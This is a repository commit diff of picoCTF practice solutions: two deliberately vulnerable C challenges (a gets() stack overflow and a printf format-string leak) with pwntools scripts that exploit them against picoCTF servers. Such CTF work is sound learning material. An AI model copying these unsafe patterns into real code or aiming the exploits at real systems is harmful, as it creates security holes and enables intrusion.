Compare commits
2 Commits
9acdaa1eed
...
7f8436f98a
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7f8436f98a | ||
|
|
284e776cd5 |
BIN
clutter_overflow/chall
Executable file
BIN
clutter_overflow/chall
Executable file
Binary file not shown.
54
clutter_overflow/chall.c
Normal file
54
clutter_overflow/chall.c
Normal file
@@ -0,0 +1,54 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define SIZE 0x100
|
||||
#define GOAL 0xdeadbeef
|
||||
|
||||
const char* HEADER =
|
||||
" ______________________________________________________________________\n"
|
||||
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
|
||||
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
|
||||
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
|
||||
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
|
||||
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
|
||||
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
|
||||
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
|
||||
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
|
||||
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
|
||||
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
|
||||
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
|
||||
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
|
||||
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
|
||||
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
|
||||
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
|
||||
|
||||
int main(void)
|
||||
{
|
||||
long code = 0;
|
||||
char clutter[SIZE];
|
||||
|
||||
setbuf(stdout, NULL);
|
||||
setbuf(stdin, NULL);
|
||||
setbuf(stderr, NULL);
|
||||
|
||||
puts(HEADER);
|
||||
puts("My room is so cluttered...");
|
||||
puts("What do you see?");
|
||||
|
||||
gets(clutter);
|
||||
|
||||
|
||||
if (code == GOAL) {
|
||||
printf("code == 0x%llx: how did that happen??\n", GOAL);
|
||||
puts("take a flag for your troubles");
|
||||
system("cat flag.txt");
|
||||
} else {
|
||||
printf("code == 0x%llx\n", code);
|
||||
printf("code != 0x%llx :(\n", GOAL);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
55
clutter_overflow/sol.py
Executable file
55
clutter_overflow/sol.py
Executable file
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
def get_conn():
|
||||
#return process("./chall")
|
||||
return remote("mars.picoctf.net", 31890)
|
||||
|
||||
def try_memory_offset(offset):
|
||||
cycle = cyclic(length=offset, n=8)
|
||||
|
||||
conn = get_conn()
|
||||
|
||||
conn.recvuntil(b"see?")
|
||||
conn.recvline()
|
||||
|
||||
conn.sendline(cycle)
|
||||
conn.recvuntil(b"== ")
|
||||
result = conn.recvline(keepends=False)
|
||||
|
||||
conn.close()
|
||||
|
||||
return result
|
||||
|
||||
base = 0x100
|
||||
exp = 0
|
||||
p = log.progress("searching for variable offset")
|
||||
while True:
|
||||
offset = base + 2**exp
|
||||
p.status(f"trying offset {offset}")
|
||||
try:
|
||||
result = try_memory_offset(offset)
|
||||
except:
|
||||
base = base + 2**(exp-1)
|
||||
exp = 0
|
||||
continue
|
||||
if result != b"0x0":
|
||||
next_result = 0
|
||||
i = 0
|
||||
while result != next_result:
|
||||
i += 1
|
||||
result = next_result
|
||||
next_result = try_memory_offset(offset+i)
|
||||
offset = cyclic_find(int(result, 16), n=8)
|
||||
p.success(f"found result {unhex(result[2:])} at offset {offset}")
|
||||
break
|
||||
exp += 1
|
||||
|
||||
conn = get_conn()
|
||||
|
||||
conn.recvuntil(b"see?")
|
||||
conn.recvline()
|
||||
|
||||
conn.sendline(b"a"*offset + p64(0xdeadbeef))
|
||||
conn.interactive()
|
||||
|
||||
2
flag_leak/.gdb_history
Normal file
2
flag_leak/.gdb_history
Normal file
@@ -0,0 +1,2 @@
|
||||
disassemble main
|
||||
exit
|
||||
29
flag_leak/sol.py
Executable file
29
flag_leak/sol.py
Executable file
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
buffer_size = 127
|
||||
hex_to_read = 127//2
|
||||
hex_reader = b'%x'*hex_to_read
|
||||
payload = hex_reader + b'.'
|
||||
log.info(f"payload: {payload}")
|
||||
|
||||
def endian_swap(s, offset=0):
|
||||
result = b''
|
||||
for i in range(3+offset, len(s), 4):
|
||||
result += bytes(reversed(s[i-3:i+1]))
|
||||
return result
|
||||
|
||||
conn = remote("saturn.picoctf.net", 65206)
|
||||
|
||||
conn.recvuntil(b" >> ")
|
||||
conn.sendline(payload)
|
||||
conn.recvline()
|
||||
data = conn.recvline(keepends=False)[:-1]
|
||||
log.info(f"received data: {data}")
|
||||
unhexed_data = unhex(data)
|
||||
for i in range(4):
|
||||
endian_swapped_data = endian_swap(unhexed_data, offset=i)
|
||||
if b"picoCTF" in endian_swapped_data:
|
||||
break
|
||||
log.info(f"processed data: {endian_swapped_data}")
|
||||
|
||||
BIN
flag_leak/vuln
Executable file
BIN
flag_leak/vuln
Executable file
Binary file not shown.
46
flag_leak/vuln.c
Normal file
46
flag_leak/vuln.c
Normal file
@@ -0,0 +1,46 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <wchar.h>
|
||||
#include <locale.h>
|
||||
|
||||
#define BUFSIZE 64
|
||||
#define FLAGSIZE 64
|
||||
|
||||
void readflag(char* buf, size_t len) {
|
||||
FILE *f = fopen("flag.txt","r");
|
||||
if (f == NULL) {
|
||||
printf("%s %s", "Please create 'flag.txt' in this directory with your",
|
||||
"own debugging flag.\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fgets(buf,len,f); // size bound read
|
||||
}
|
||||
|
||||
void vuln(){
|
||||
char flag[BUFSIZE];
|
||||
char story[128];
|
||||
|
||||
readflag(flag, FLAGSIZE);
|
||||
|
||||
printf("Tell me a story and then I'll tell you one >> ");
|
||||
scanf("%127s", story);
|
||||
printf("Here's a story - \n");
|
||||
printf(story);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
int main(int argc, char **argv){
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Set the gid to the effective gid
|
||||
// this prevents /bin/sh from dropping the privileges
|
||||
gid_t gid = getegid();
|
||||
setresgid(gid, gid, gid);
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user